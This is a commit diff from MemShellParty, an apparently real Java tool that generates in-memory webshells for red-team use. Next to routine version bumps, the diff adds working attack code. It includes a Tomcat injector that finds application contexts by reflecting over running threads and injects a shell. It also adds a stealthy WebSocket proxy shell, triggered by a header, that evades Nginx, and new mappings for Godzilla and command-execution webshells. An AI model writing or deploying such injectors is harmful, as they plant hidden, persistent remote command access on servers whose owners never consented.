Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f60d4108ad | ||
|
|
fe5760409a | ||
|
|
40632a7308 | ||
|
|
b49bb89025 | ||
|
|
336d0b1f5a | ||
|
|
5ec48e7d41 | ||
|
|
8ba200089a | ||
|
|
e38a91f720 | ||
|
|
60edda0cec | ||
|
|
c5bfd3d92e | ||
|
|
159f501179 | ||
|
|
ff6d1b6f9e | ||
|
|
8402bd9d51 | ||
|
|
7c126d8189 | ||
|
|
03c138206a | ||
|
|
8b1cf078f3 | ||
|
|
3e4c5e5b38 | ||
|
|
b49ad1581f | ||
|
|
bf50918a99 | ||
|
|
be051d3147 | ||
|
|
f780886f08 | ||
|
|
b46959e059 | ||
|
|
3e2d977562 | ||
|
|
b45efd8e1e | ||
|
|
ee9288debd | ||
|
|
1518432fde | ||
|
|
302e8fbb8f | ||
|
|
4955c9d4a2 | ||
|
|
cf492e68ea | ||
|
|
39eab10281 | ||
|
|
ba9c0be2a4 | ||
|
|
23f310ca8a | ||
|
|
9d9d33f612 | ||
|
|
da1a5f70ef | ||
|
|
69e8e20a6a |
@@ -0,0 +1,47 @@
|
||||
name: Single IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
depend_tasks:
|
||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||
required: false
|
||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||
type: string
|
||||
test_class:
|
||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||
required: true
|
||||
type: string
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
integration-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
if: ${{ inputs.depend_tasks != '' }}
|
||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH="/"
|
||||
ARG CONTEXT_PATH=""
|
||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
||||
|
||||
RUN ./gradlew :boot:bootjar -x test
|
||||
|
||||
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -25,10 +25,10 @@
|
||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||
|
||||
<p align="center">
|
||||
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||
</p>
|
||||
|
||||
## 主要特性
|
||||
|
||||
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB After Width: | Height: | Size: 236 KiB |
|
Before Width: | Height: | Size: 268 KiB After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -51,6 +51,8 @@ public class MemShellGenerateRequest {
|
||||
case Command -> CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(shellToolConfig.getCommandParamName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.template(shellToolConfig.getCommandTemplate())
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
|
||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.build();
|
||||
case Proxy -> ProxyConfig.builder()
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.shellClassName(shellToolConfig.shellClassName).build();
|
||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.boot.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -3,7 +3,7 @@ plugins {
|
||||
}
|
||||
|
||||
mavenPublishing {
|
||||
publishToMavenCentral()
|
||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||
signAllPublications()
|
||||
coordinates(
|
||||
"io.github.reajason",
|
||||
|
||||
@@ -9,7 +9,7 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.4.2"
|
||||
version = "2.5.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
|
||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
## Key Features
|
||||
|
||||
|
||||
@@ -32,7 +32,9 @@ dependencies {
|
||||
api(libs.byte.buddy)
|
||||
implementation(libs.asm.commons)
|
||||
implementation(libs.javax.websocket.api)
|
||||
implementation(libs.jakarta.websocket.client.api)
|
||||
implementation(libs.javax.servlet.api)
|
||||
implementation(libs.jakarta.servlet.api)
|
||||
implementation(libs.spring.webmvc)
|
||||
implementation(libs.spring.webflux)
|
||||
implementation(libs.reactor.netty.core)
|
||||
|
||||
@@ -5,6 +5,7 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
@@ -63,6 +64,11 @@ public class MemShellGenerator {
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
|
||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||
}
|
||||
|
||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
|
||||
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
@@ -60,6 +61,8 @@ public class ServerFactory {
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||
@@ -137,6 +140,8 @@ public class ServerFactory {
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||
@@ -235,6 +240,13 @@ public class ServerFactory {
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||
.build());
|
||||
}
|
||||
|
||||
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||
|
||||
@@ -12,5 +12,6 @@ public class ShellTool {
|
||||
public static final String Suo5v2 = "Suo5v2";
|
||||
public static final String AntSword = "AntSword";
|
||||
public static final String NeoreGeorg = "NeoreGeorg";
|
||||
public static final String Proxy = "Proxy";
|
||||
public static final String Custom = "Custom";
|
||||
}
|
||||
|
||||
@@ -27,6 +27,7 @@ public class ShellToolFactory {
|
||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
||||
}
|
||||
|
||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||
|
||||
@@ -45,7 +45,9 @@ public class ShellType {
|
||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||
|
||||
public static final String ACTION = "Action";
|
||||
}
|
||||
|
||||
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String paramName = CommonUtil.getRandomString(8);
|
||||
|
||||
/**
|
||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||
*/
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
|
||||
/**
|
||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||
*/
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
/**
|
||||
* 加密器
|
||||
*/
|
||||
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -16,37 +16,38 @@ import net.bytebuddy.dynamic.DynamicType;
|
||||
@AllArgsConstructor
|
||||
@Builder(toBuilder = true)
|
||||
public class InjectorConfig {
|
||||
/**
|
||||
* 注入器 Builder
|
||||
*/
|
||||
DynamicType.Builder<?> injectorBuilder;
|
||||
/**
|
||||
* 内存马 Builder
|
||||
*/
|
||||
DynamicType.Builder<?> shellBuilder;
|
||||
/**
|
||||
* 注入器模板类
|
||||
*/
|
||||
private Class<?> injectorClass;
|
||||
|
||||
/**
|
||||
* 注入器类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
|
||||
/**
|
||||
* 注入访问的地址
|
||||
*/
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
|
||||
/**
|
||||
* 内存马类名
|
||||
*/
|
||||
private String shellClassName;
|
||||
|
||||
/**
|
||||
* 内存马类字节
|
||||
*/
|
||||
private byte[] shellClassBytes;
|
||||
|
||||
/**
|
||||
* 辅助类字节码
|
||||
*/
|
||||
private byte[] helperClassBytes;
|
||||
|
||||
/**
|
||||
* 添加静态代码块调用构造方法初始化
|
||||
*/
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class ProxyConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -73,12 +73,18 @@ public class ShellConfig {
|
||||
@Builder.Default
|
||||
private boolean lambdaSuffix = false;
|
||||
|
||||
/**
|
||||
* 将 Java EE 转换为 Jakarta EE 类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private boolean jakarta = false;
|
||||
|
||||
public boolean isDebugOff() {
|
||||
return !debug;
|
||||
}
|
||||
|
||||
public boolean isJakarta() {
|
||||
return shellType.startsWith(ShellType.JAKARTA);
|
||||
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
||||
}
|
||||
|
||||
public boolean needByPassJavaModule() {
|
||||
|
||||
@@ -49,6 +49,12 @@ public class InjectorGenerator {
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
||||
if (helperClassBytes != null) {
|
||||
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
||||
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
||||
}
|
||||
|
||||
if (shellConfig.needByPassJavaModule()) {
|
||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
||||
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
||||
super(shellConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
public class WebSocketByPassHelperGenerator {
|
||||
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||
if (headerPair == null) {
|
||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||
}
|
||||
|
||||
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
||||
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
||||
.redefine(TomcatWsBypassValve.class)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.field(named("headerName")).value(headerPair.getKey())
|
||||
.field(named("headerValue")).value(headerPair.getValue())
|
||||
.name(CommonUtil.generateClassName());
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
||||
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
||||
if (shellToolConfig instanceof CommandConfig) {
|
||||
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
||||
} else if (shellToolConfig instanceof GodzillaConfig) {
|
||||
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
||||
} else if (shellToolConfig instanceof ProxyConfig) {
|
||||
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
|
||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
|
||||
@@ -121,10 +121,10 @@ public class JettyFilterInjector {
|
||||
|
||||
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||
Object[] newMappings = null;
|
||||
int length = Array.getLength(mappings);
|
||||
if (mappings == null || length == 0) {
|
||||
if (mappings == null || Array.getLength(mappings) == 0) {
|
||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||
} else {
|
||||
int length = Array.getLength(mappings);
|
||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||
}
|
||||
|
||||
@@ -8,7 +8,10 @@ import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.EventListener;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
|
||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
@@ -6,7 +6,10 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
|
||||
@@ -6,7 +6,6 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
public class TomcatWebSocketByPassInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public TomcatWebSocketByPassInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||
try {
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
if (name.matches(".+WebappClassLoader")) {
|
||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||
// need WebResourceRoot not DirContext
|
||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||
Object context = getFieldValue(resources, "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
